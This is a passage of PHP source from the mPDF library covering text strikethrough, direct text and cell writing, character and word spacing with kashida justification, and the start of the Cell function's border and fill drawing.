			$olw = $this->LineWidth;
			$s .= ' ' . (sprintf(' %.3F w', $ut * Mpdf::SCALE));
			$s .= ' ' . $this->_dounderline($x, $y + $adjusty, $txt, $OTLdata, $textvar);
			$s .= ' ' . (sprintf(' %.3F w', $olw * Mpdf::SCALE));
			if ($this->FillColor != $c) {
				$s.= ' ' . $this->FillColor . ' ';
			}
		}
		// STRIKETHROUGH
		if (($textvar & TextVars::FD_LINETHROUGH) && $txt != '') { // mPDF 5.7.1
			$c = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG
			if ($this->FillColor != $c) {
				$s.= ' ' . $c . ' ';
			}
			// Superscript and Subscript Y coordinate adjustment (now for striked-through texts)
			if (isset($this->CurrentFont['desc']['CapHeight']) && $this->CurrentFont['desc']['CapHeight']) {
				$ch = $this->CurrentFont['desc']['CapHeight'];
			} else {
				$ch = 700;
			}
			$adjusty = (-$ch / 1000 * $this->FontSize) * 0.35;
			if (isset($this->CurrentFont['ut']) && $this->CurrentFont['ut']) {
				$ut = $this->CurrentFont['ut'] / 1000 * $this->FontSize;
			} else {
				$ut = 60 / 1000 * $this->FontSize;
			}
			$olw = $this->LineWidth;
			$s .= ' ' . (sprintf(' %.3F w', $ut * Mpdf::SCALE));
			$s .= ' ' . $this->_dounderline($x, $y + $adjusty, $txt, $OTLdata, $textvar);
			$s .= ' ' . (sprintf(' %.3F w', $olw * Mpdf::SCALE));
			if ($this->FillColor != $c) {
				$s.= ' ' . $this->FillColor . ' ';
			}
		}
		$s .= 'Q';

		if ($return) {
			return $s . " \n";
		}
		$this->writer->write($s);
	}

	/* -- DIRECTW -- */

	function WriteText($x, $y, $txt)
	{
		// Output a string using Text() but does encoding and text reversing of RTL
		$txt = $this->purify_utf8_text($txt);
		if ($this->text_input_as_HTML) {
			$txt = $this->all_entities_to_utf8($txt);
		}
		if ($this->usingCoreFont) {
			$txt = mb_convert_encoding($txt, $this->mb_enc, 'UTF-8');
		}

		// DIRECTIONALITY
		if (preg_match("/([" . $this->pregRTLchars . "])/u", $txt)) {
			$this->biDirectional = true;
		} // *OTL*

		$textvar = 0;
		$save_OTLtags = $this->OTLtags;
		$this->OTLtags = [];
		if ($this->useKerning) {
			if ($this->CurrentFont['haskernGPOS']) {
				$this->OTLtags['Plus'] .= ' kern';
			} else {
				$textvar = ($textvar | TextVars::FC_KERNING);
			}
		}

		/* -- OTL -- */
		// Use OTL OpenType Table Layout - GSUB & GPOS
		if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) {
			$txt = $this->otl->applyOTL($txt, $this->CurrentFont['useOTL']);
			$OTLdata = $this->otl->OTLdata;
		}
		/* -- END OTL -- */
		$this->OTLtags = $save_OTLtags;

		$this->magic_reverse_dir($txt, $this->directionality, $OTLdata);

		$this->Text($x, $y, $txt, $OTLdata, $textvar);
	}

	function WriteCell($w, $h = 0, $txt = '', $border = 0, $ln = 0, $align = '', $fill = 0, $link = '', $currentx = 0)
	{
		// Output a cell using Cell() but does encoding and text reversing of RTL
		$txt = $this->purify_utf8_text($txt);
		if ($this->text_input_as_HTML) {
			$txt = $this->all_entities_to_utf8($txt);
		}
		if ($this->usingCoreFont) {
			$txt = mb_convert_encoding($txt, $this->mb_enc, 'UTF-8');
		}
		// DIRECTIONALITY
		if (preg_match("/([" . $this->pregRTLchars . "])/u", $txt)) {
			$this->biDirectional = true;
		} // *OTL*

		$textvar = 0;
		$save_OTLtags = $this->OTLtags;
		$this->OTLtags = [];
		if ($this->useKerning) {
			if ($this->CurrentFont['haskernGPOS']) {
				$this->OTLtags['Plus'] .= ' kern';
			} else {
				$textvar = ($textvar | TextVars::FC_KERNING);
			}
		}

		/* -- OTL -- */
		// Use OTL OpenType Table Layout - GSUB & GPOS
		if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) {
			$txt = $this->otl->applyOTL($txt, $this->CurrentFont['useOTL']);
			$OTLdata = $this->otl->OTLdata;
		}
		/* -- END OTL -- */
		$this->OTLtags = $save_OTLtags;

		$this->magic_reverse_dir($txt, $this->directionality, $OTLdata);

		$this->Cell($w, $h, $txt, $border, $ln, $align, $fill, $link, $currentx, 0, 0, 'M', 0, false, $OTLdata, $textvar);
	}

	/* -- END DIRECTW -- */

	function ResetSpacing()
	{
		if ($this->ws != 0) {
			$this->writer->write('BT 0 Tw ET');
		}
		$this->ws = 0;
		if ($this->charspacing != 0) {
			$this->writer->write('BT 0 Tc ET');
		}
		$this->charspacing = 0;
	}

	function SetSpacing($cs, $ws)
	{
		if (intval($cs * 1000) == 0) {
			$cs = 0;
		}
		if ($cs) {
			$this->writer->write(sprintf('BT %.3F Tc ET', $cs));
		} elseif ($this->charspacing != 0) {
			$this->writer->write('BT 0 Tc ET');
		}
		$this->charspacing = $cs;
		if (intval($ws * 1000) == 0) {
			$ws = 0;
		}
		if ($ws) {
			$this->writer->write(sprintf('BT %.3F Tw ET', $ws));
		} elseif ($this->ws != 0) {
			$this->writer->write('BT 0 Tw ET');
		}
		$this->ws = $ws;
	}

	// WORD SPACING
	function GetJspacing($nc, $ns, $w, $inclCursive, &$cOTLdata)
	{
		$kashida_present = false;
		$kashida_space = 0;
		if ($w > 0 && $inclCursive && isset($this->CurrentFont['useKashida']) && $this->CurrentFont['useKashida'] && !empty($cOTLdata)) {
			for ($c = 0; $c < count($cOTLdata); $c++) {
				for ($i = 0; $i < strlen($cOTLdata[$c]['group']); $i++) {
					if (isset($cOTLdata[$c]['GPOSinfo'][$i]['kashida']) && $cOTLdata[$c]['GPOSinfo'][$i]['kashida'] > 0) {
						$kashida_present = true;
						break 2;
					}
				}
			}
		}

		if ($kashida_present) {
			$k_ctr = 0;  // Number of kashida points
			$k_total = 0;  // Total of kashida values (priority)
			// Reset word
			$max_kashida_in_word = 0;
			$last_kashida_in_word = -1;

			for ($c = 0; $c < count($cOTLdata); $c++) {
				for ($i = 0; $i < strlen($cOTLdata[$c]['group']); $i++) {
					if ($cOTLdata[$c]['group'][$i] == 'S') {
						// Save from last word
						if ($max_kashida_in_word) {
							$k_ctr++;
							$k_total = $max_kashida_in_word;
						}
						// Reset word
						$max_kashida_in_word = 0;
						$last_kashida_in_word = -1;
					}

					if (isset($cOTLdata[$c]['GPOSinfo'][$i]['kashida']) && $cOTLdata[$c]['GPOSinfo'][$i]['kashida'] > 0) {
						if ($max_kashida_in_word) {
							if ($cOTLdata[$c]['GPOSinfo'][$i]['kashida'] > $max_kashida_in_word) {
								$max_kashida_in_word = $cOTLdata[$c]['GPOSinfo'][$i]['kashida'];
								$cOTLdata[$c]['GPOSinfo'][$last_kashida_in_word]['kashida'] = 0;
								$last_kashida_in_word = $i;
							} else {
								$cOTLdata[$c]['GPOSinfo'][$i]['kashida'] = 0;
							}
						} else {
							$max_kashida_in_word = $cOTLdata[$c]['GPOSinfo'][$i]['kashida'];
							$last_kashida_in_word = $i;
						}
					}
				}
			}
			// Save from last word
			if ($max_kashida_in_word) {
				$k_ctr++;
				$k_total = $max_kashida_in_word;
			}

			// Number of kashida points = $k_ctr
			// $useKashida is a % value from CurrentFont/config_fonts.php
			// % ratio divided between word-spacing and kashida-spacing
			$kashida_space_ratio = intval($this->CurrentFont['useKashida']) / 100;


			$kashida_space = $w * $kashida_space_ratio;

			$tatw = $this->_getCharWidth($this->CurrentFont['cw'], 0x0640);
			// Only use kashida if each allocated kashida width is > 0.01 x width of a tatweel
			// Otherwise fontstretch is too small and errors
			// If not just leave to adjust word-spacing
			if ($tatw && (($kashida_space / $k_ctr) / $tatw) > 0.01) {
				for ($c = 0; $c < count($cOTLdata); $c++) {
					for ($i = 0; $i < strlen($cOTLdata[$c]['group']); $i++) {
						if (isset($cOTLdata[$c]['GPOSinfo'][$i]['kashida']) && $cOTLdata[$c]['GPOSinfo'][$i]['kashida'] > 0) {
							// At this point kashida is a number representing priority (higher number - higher priority)
							// We are now going to set it as an actual length
							// This shares it equally amongst words:
							$cOTLdata[$c]['GPOSinfo'][$i]['kashida_space'] = (1 / $k_ctr) * $kashida_space;
						}
					}
				}
				$w -= $kashida_space;
			}
		}

		$ws = 0;
		$charspacing = 0;
		$ww = $this->jSWord;
		$ncx = $nc - 1;
		if ($nc == 0) {
			return [0, 0, 0];
		} // Only word spacing allowed / possible
		elseif ($this->fixedlSpacing !== false || $inclCursive) {
			if ($ns) {
				$ws = $w / $ns;
			}
		} elseif ($nc == 1) {
			$charspacing = $w;
		} elseif (!$ns) {
			$charspacing = $w / ($ncx );
			if (($this->jSmaxChar > 0) && ($charspacing > $this->jSmaxChar)) {
				$charspacing = $this->jSmaxChar;
			}
		} elseif ($ns == ($ncx )) {
			$charspacing = $w / $ns;
		} else {
			if ($this->usingCoreFont) {
				$cs = ($w * (1 - $this->jSWord)) / ($ncx );
				if (($this->jSmaxChar > 0) && ($cs > $this->jSmaxChar)) {
					$cs = $this->jSmaxChar;
					$ww = 1 - (($cs * ($ncx )) / $w);
				}
				$charspacing = $cs;
				$ws = ($w * ($ww) ) / $ns;
			} else {
				$cs = ($w * (1 - $this->jSWord)) / ($ncx - $ns);
				if (($this->jSmaxChar > 0) && ($cs > $this->jSmaxChar)) {
					$cs = $this->jSmaxChar;
					$ww = 1 - (($cs * ($ncx - $ns)) / $w);
				}
				$charspacing = $cs;
				$ws = (($w * ($ww) ) / $ns) - $charspacing;
			}
		}
		return [$charspacing, $ws, $kashida_space];
	}

	/**
	 * Output a cell
	 *
	 * Expects input to be mb_encoded if necessary and RTL reversed
	 *
	 * @since mPDF 5.7.1
	 */
	function Cell($w, $h = 0, $txt = '', $border = 0, $ln = 0, $align = '', $fill = 0, $link = '', $currentx = 0, $lcpaddingL = 0, $lcpaddingR = 0, $valign = 'M', $spanfill = 0, $exactWidth = false, $OTLdata = false, $textvar = 0, $lineBox = false)
	{
		// NON_BREAKING SPACE
		if ($this->usingCoreFont) {
			$txt = str_replace(chr(160), chr(32), $txt);
		} else {
			$txt = str_replace(chr(194) . chr(160), chr(32), $txt);
		}

		$oldcolumn = $this->CurrCol;

		// Automatic page break
		// Allows PAGE-BREAK-AFTER = avoid to work
		if (isset($this->blk[$this->blklvl])) {
			$bottom = $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['margin_bottom'];
		} else {
			$bottom = 0;
		}

		if (!$this->tableLevel
			&& (
				($this->y + $this->divheight > $this->PageBreakTrigger)
				|| ($this->y + $h > $this->PageBreakTrigger)
				|| (
					$this->y + ($h * 2) + $bottom > $this->PageBreakTrigger
						&& $this->blk[$this->blklvl]['page_break_after_avoid']
				)
			)
			&& !$this->InFooter
			&& $this->AcceptPageBreak()
		) { // mPDF 5.7.2

			$x = $this->x; // Current X position

			// WORD SPACING
			$ws = $this->ws; // Word Spacing
			$charspacing = $this->charspacing; // Character Spacing
			$this->ResetSpacing();

			$this->AddPage($this->CurOrientation);

			// Added to correct for OddEven Margins
			$x += $this->MarginCorrection;
			if ($currentx) {
				$currentx += $this->MarginCorrection;
			}
			$this->x = $x;
			// WORD SPACING
			$this->SetSpacing($charspacing, $ws);
		}

		// Test: to put line through centre of cell: $this->Line($this->x,$this->y+($h/2),$this->x+50,$this->y+($h/2));
		// Test: to put border around cell as it is specified: $border='LRTB';

		/* -- COLUMNS -- */
		// COLS
		// COLUMN CHANGE
		if ($this->CurrCol != $oldcolumn) {
			if ($currentx) {
				$currentx += $this->ChangeColumn * ($this->ColWidth + $this->ColGap);
			}
			$this->x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap);
		}

		// COLUMNS Update/overwrite the lowest bottom of printing y value for a column
		if ($this->ColActive) {
			if ($h) {
				$this->ColDetails[$this->CurrCol]['bottom_margin'] = $this->y + $h;
			} else {
				$this->ColDetails[$this->CurrCol]['bottom_margin'] = $this->y + $this->divheight;
			}
		}
		/* -- END COLUMNS -- */


		if ($w == 0) {
			$w = $this->w - $this->rMargin - $this->x;
		}

		$s = '';
		if ($fill == 1 && $this->FillColor) {
			if ((isset($this->pageoutput[$this->page]['FillColor']) && $this->pageoutput[$this->page]['FillColor'] != $this->FillColor) || !isset($this->pageoutput[$this->page]['FillColor'])) {
				$s .= $this->FillColor . ' ';
			}
			$this->pageoutput[$this->page]['FillColor'] = $this->FillColor;
		}

		if ($lineBox && isset($lineBox['boxtop']) && $txt) { // i.e. always from WriteFlowingBlock/finishFlowingBlock (but not objects -
			// which only have $lineBox['top'] set)
			$boxtop = $this->y + $lineBox['boxtop'];
			$boxbottom = $this->y + $lineBox['boxbottom'];
			$glyphYorigin = $lineBox['glyphYorigin'];
			$baseline_shift = $lineBox['baseline-shift'];
			$bord_boxtop = $bg_boxtop = $boxtop = $boxtop - $baseline_shift;
			$bord_boxbottom = $bg_boxbottom = $boxbottom = $boxbottom - $baseline_shift;
			$bord_boxheight = $bg_boxheight = $boxheight = $boxbottom - $boxtop;

			// If inline element BACKGROUND has bounding box set by parent element:
			if (isset($lineBox['background-boxtop'])) {
				$bg_boxtop = $this->y + $lineBox['background-boxtop'] - $lineBox['background-baseline-shift'];
				$bg_boxbottom = $this->y + $lineBox['background-boxbottom'] - $lineBox['background-baseline-shift'];
				$bg_boxheight = $bg_boxbottom - $bg_boxtop;
			}
			// If inline element BORDER has bounding box set by parent element:
			if (isset($lineBox['border-boxtop'])) {
				$bord_boxtop = $this->y + $lineBox['border-boxtop'] - $lineBox['border-baseline-shift'];
				$bord_boxbottom = $this->y + $lineBox['border-boxbottom'] - $lineBox['border-baseline-shift'];
				$bord_boxheight = $bord_boxbottom - $bord_boxtop;
			}

		} else {

			$boxtop = $this->y;
			$boxheight = $h;
			$boxbottom = $this->y + $h;
			$baseline_shift = 0;

			if ($txt != '') {

				// FONT SIZE - this determines the baseline caculation
				$bfs = $this->FontSize;
				// Calculate baseline Superscript and Subscript Y coordinate adjustment
				$bfx = $this->baselineC;
				$baseline = $bfx * $bfs;

				if ($textvar & TextVars::FA_SUPERSCRIPT) {
					$baseline_shift = $this->textparam['text-baseline'];
				} elseif ($textvar & TextVars::FA_SUBSCRIPT) {
					$baseline_shift = $this->textparam['text-baseline'];
				} elseif ($this->bullet) {
					$baseline += ($bfx - 0.7) * $this->FontSize;
				}

				// Vertical align (for Images)
				if ($valign == 'T') {
					$va = (0.5 * $bfs * $this->normalLineheight);
				} elseif ($valign == 'B') {
					$va = $h - (0.5 * $bfs * $this->normalLineheight);
				} else {
					$va = 0.5 * $h;
				} // Middle

				// ONLY SET THESE IF WANT TO CONFINE BORDER +/- FILL TO FIT FONTSIZE - NOT FULL CELL AS IS ORIGINAL FUNCTION
				// spanfill or spanborder are set in FlowingBlock functions
				if ($spanfill || !empty($this->spanborddet) || $link != '') {
					$exth = 0.2; // Add to fontsize to increase height of background / link / border
					$boxtop = $this->y + $baseline + $va - ($this->FontSize * (1 + $exth / 2) * (0.5 + $bfx));
					$boxheight = $this->FontSize * (1 + $exth);
					$boxbottom = $boxtop + $boxheight;
				}

				$glyphYorigin = $baseline + $va;
			}

			$boxtop -= $baseline_shift;
			$boxbottom -= $baseline_shift;
			$bord_boxtop = $bg_boxtop = $boxtop;
			$bord_boxbottom = $bg_boxbottom = $boxbottom;
			$bord_boxheight = $bg_boxheight = $boxheight = $boxbottom - $boxtop;
		}

		$bbw = $tbw = $lbw = $rbw = 0; // Border widths
		if (!empty($this->spanborddet)) {

			if (!isset($this->spanborddet['B'])) {
				$this->spanborddet['B'] = ['s' => 0, 'style' => '', 'w' => 0];
			}

			if (!isset($this->spanborddet['T'])) {
				$this->spanborddet['T'] = ['s' => 0, 'style' => '', 'w' => 0];
			}

			if (!isset($this->spanborddet['L'])) {
				$this->spanborddet['L'] = ['s' => 0, 'style' => '', 'w' => 0];
			}

			if (!isset($this->spanborddet['R'])) {
				$this->spanborddet['R'] = ['s' => 0, 'style' => '', 'w' => 0];
			}

			$bbw = $this->spanborddet['B']['w'];
			$tbw = $this->spanborddet['T']['w'];
			$lbw = $this->spanborddet['L']['w'];
			$rbw = $this->spanborddet['R']['w'];
		}

		if ($fill == 1 || $border == 1 || !empty($this->spanborddet)) {

			if (!empty($this->spanborddet)) {

				if ($fill == 1) {
					$s .= sprintf('%.3F %.3F %.3F %.3F re f ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bg_boxtop + $tbw) * Mpdf::SCALE, ($w + $lbw + $rbw) * Mpdf::SCALE, (-$bg_boxheight - $tbw - $bbw) * Mpdf::SCALE);
				}

				$s.= ' q ';
				$dashon = 3;
				$dashoff = 3.5;
				$dot = 2.5;

				if ($tbw) {
					$short = 0;

					if ($this->spanborddet['T']['style'] == 'dashed') {
						$s .= sprintf(' 0 j 0 J [%.3F %.3F] 0 d ', $tbw * $dashon * Mpdf::SCALE, $tbw * $dashoff * Mpdf::SCALE);
					} elseif ($this->spanborddet['T']['style'] == 'dotted') {
						$s .= sprintf(' 1 j 1 J [%.3F %.3F] %.3F d ', 0.001, $tbw * $dot * Mpdf::SCALE, -$tbw / 2 * Mpdf::SCALE);
						$short = $tbw / 2;
					} else {
						$s .= ' 0 j 0 J [] 0 d ';
					}

					if ($this->spanborddet['T']['style'] != 'dotted') {
						$s .= 'q ';
						$s .= sprintf('%.3F %.3F m ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE);
						$s .= ' h W n '; // Ends path no-op & Sets the clipping path
					}

					$c = $this->SetDColor($this->spanborddet['T']['c'], true);

					if ($this->spanborddet['T']['style'] == 'double') {
						$s .= sprintf(' %s %.3F w ', $c, $tbw / 3 * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw * 5 / 6) * Mpdf::SCALE, ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw * 5 / 6) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 6) * Mpdf::SCALE, ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 6) * Mpdf::SCALE);
					} elseif ($this->spanborddet['T']['style'] == 'dotted') {
						$s .= sprintf(' %s %.3F w ', $c, $tbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 2) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 2) * Mpdf::SCALE);
					} else {
						$s .= sprintf(' %s %.3F w ', $c, $tbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 2) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw / 2) * Mpdf::SCALE);
					}

					if ($this->spanborddet['T']['style'] != 'dotted') {
						$s .= ' Q ';
					}
				}
				if ($bbw) {

					$short = 0;
					if ($this->spanborddet['B']['style'] == 'dashed') {
						$s .= sprintf(' 0 j 0 J [%.3F %.3F] 0 d ', $bbw * $dashon * Mpdf::SCALE, $bbw * $dashoff * Mpdf::SCALE);
					} elseif ($this->spanborddet['B']['style'] == 'dotted') {
						$s .= sprintf(' 1 j 1 J [%.3F %.3F] %.3F d ', 0.001, $bbw * $dot * Mpdf::SCALE, -$bbw / 2 * Mpdf::SCALE);
						$short = $bbw / 2;
					} else {
						$s .= ' 0 j 0 J [] 0 d ';
					}

					if ($this->spanborddet['B']['style'] != 'dotted') {
						$s .= 'q ';
						$s .= sprintf('%.3F %.3F m ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w) * Mpdf::SCALE, ($this->h - $bord_boxbottom) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x) * Mpdf::SCALE, ($this->h - $bord_boxbottom) * Mpdf::SCALE);
						$s .= ' h W n '; // Ends path no-op & Sets the clipping path
					}

					$c = $this->SetDColor($this->spanborddet['B']['c'], true);

					if ($this->spanborddet['B']['style'] == 'double') {
						$s .= sprintf(' %s %.3F w ', $c, $bbw / 3 * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 6) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 6) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw * 5 / 6) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw * 5 / 6) * Mpdf::SCALE);
					} elseif ($this->spanborddet['B']['style'] == 'dotted') {
						$s .= sprintf(' %s %.3F w ', $c, $bbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 2) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 2) * Mpdf::SCALE);
					} else {
						$s .= sprintf(' %s %.3F w ', $c, $bbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 2) * Mpdf::SCALE, ($this->x + $w + $rbw - $short) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw / 2) * Mpdf::SCALE);
					}

					if ($this->spanborddet['B']['style'] != 'dotted') {
						$s .= ' Q ';
					}
				}

				if ($lbw) {
					$short = 0;
					if ($this->spanborddet['L']['style'] == 'dashed') {
						$s .= sprintf(' 0 j 0 J [%.3F %.3F] 0 d ', $lbw * $dashon * Mpdf::SCALE, $lbw * $dashoff * Mpdf::SCALE);
					} elseif ($this->spanborddet['L']['style'] == 'dotted') {
						$s .= sprintf(' 1 j 1 J [%.3F %.3F] %.3F d ', 0.001, $lbw * $dot * Mpdf::SCALE, -$lbw / 2 * Mpdf::SCALE);
						$short = $lbw / 2;
					} else {
						$s .= ' 0 j 0 J [] 0 d ';
					}

					if ($this->spanborddet['L']['style'] != 'dotted') {
						$s .= 'q ';
						$s .= sprintf('%.3F %.3F m ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x) * Mpdf::SCALE, ($this->h - $bord_boxbottom) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x - $lbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE);
						$s .= ' h W n '; // Ends path no-op & Sets the clipping path
					}

					$c = $this->SetDColor($this->spanborddet['L']['c'], true);
					if ($this->spanborddet['L']['style'] == 'double') {
						$s .= sprintf(' %s %.3F w ', $c, $lbw / 3 * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw / 6) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x - $lbw / 6) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw * 5 / 6) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x - $lbw * 5 / 6) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					} elseif ($this->spanborddet['L']['style'] == 'dotted') {
						$s .= sprintf(' %s %.3F w ', $c, $lbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x - $lbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					} else {
						$s .= sprintf(' %s %.3F w ', $c, $lbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x - $lbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x - $lbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					}

					if ($this->spanborddet['L']['style'] != 'dotted') {
						$s .= ' Q ';
					}
				}

				if ($rbw) {

					$short = 0;
					if ($this->spanborddet['R']['style'] == 'dashed') {
						$s .= sprintf(' 0 j 0 J [%.3F %.3F] 0 d ', $rbw * $dashon * Mpdf::SCALE, $rbw * $dashoff * Mpdf::SCALE);
					} elseif ($this->spanborddet['R']['style'] == 'dotted') {
						$s .= sprintf(' 1 j 1 J [%.3F %.3F] %.3F d ', 0.001, $rbw * $dot * Mpdf::SCALE, -$rbw / 2 * Mpdf::SCALE);
						$short = $rbw / 2;
					} else {
						$s .= ' 0 j 0 J [] 0 d ';
					}

					if ($this->spanborddet['R']['style'] != 'dotted') {
						$s .= 'q ';
						$s .= sprintf('%.3F %.3F m ', ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w) * Mpdf::SCALE, ($this->h - $bord_boxbottom) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F l ', ($this->x + $w + $rbw) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE);
						$s .= ' h W n '; // Ends path no-op & Sets the clipping path
					}

					$c = $this->SetDColor($this->spanborddet['R']['c'], true);
					if ($this->spanborddet['R']['style'] == 'double') {
						$s .= sprintf(' %s %.3F w ', $c, $rbw / 3 * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x + $w + $rbw / 6) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x + $w + $rbw / 6) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x + $w + $rbw * 5 / 6) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x + $w + $rbw * 5 / 6) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					} elseif ($this->spanborddet['R']['style'] == 'dotted') {
						$s .= sprintf(' %s %.3F w ', $c, $rbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x + $w + $rbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x + $w + $rbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					} else {
						$s .= sprintf(' %s %.3F w ', $c, $rbw * Mpdf::SCALE);
						$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($this->x + $w + $rbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxtop + $tbw) * Mpdf::SCALE, ($this->x + $w + $rbw / 2) * Mpdf::SCALE, ($this->h - $bord_boxbottom - $bbw + $short) * Mpdf::SCALE);
					}

					if ($this->spanborddet['R']['style'] != 'dotted') {
						$s .= ' Q ';
					}
				}

				$s.= ' Q ';

			} else { // If "border", does not come from WriteFlowingBlock or FinishFlowingBlock

				if ($fill == 1) {
					$op = ($border == 1) ? 'B' : 'f';
				} else {
					$op = 'S';
				}

				$s .= sprintf('%.3F %.3F %.3F %.3F re %s ', $this->x * Mpdf::SCALE, ($this->h - $bg_boxtop) * Mpdf::SCALE, $w * Mpdf::SCALE, -$bg_boxheight * Mpdf::SCALE, $op);
			}
		}

		if (is_string($border)) { // If "border", does not come from WriteFlowingBlock or FinishFlowingBlock

			$x = $this->x;
			$y = $this->y;

			if (is_int(strpos($border, 'L'))) {
				$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', $x * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->h - ($bord_boxbottom)) * Mpdf::SCALE);
			}

			if (is_int(strpos($border, 'T'))) {
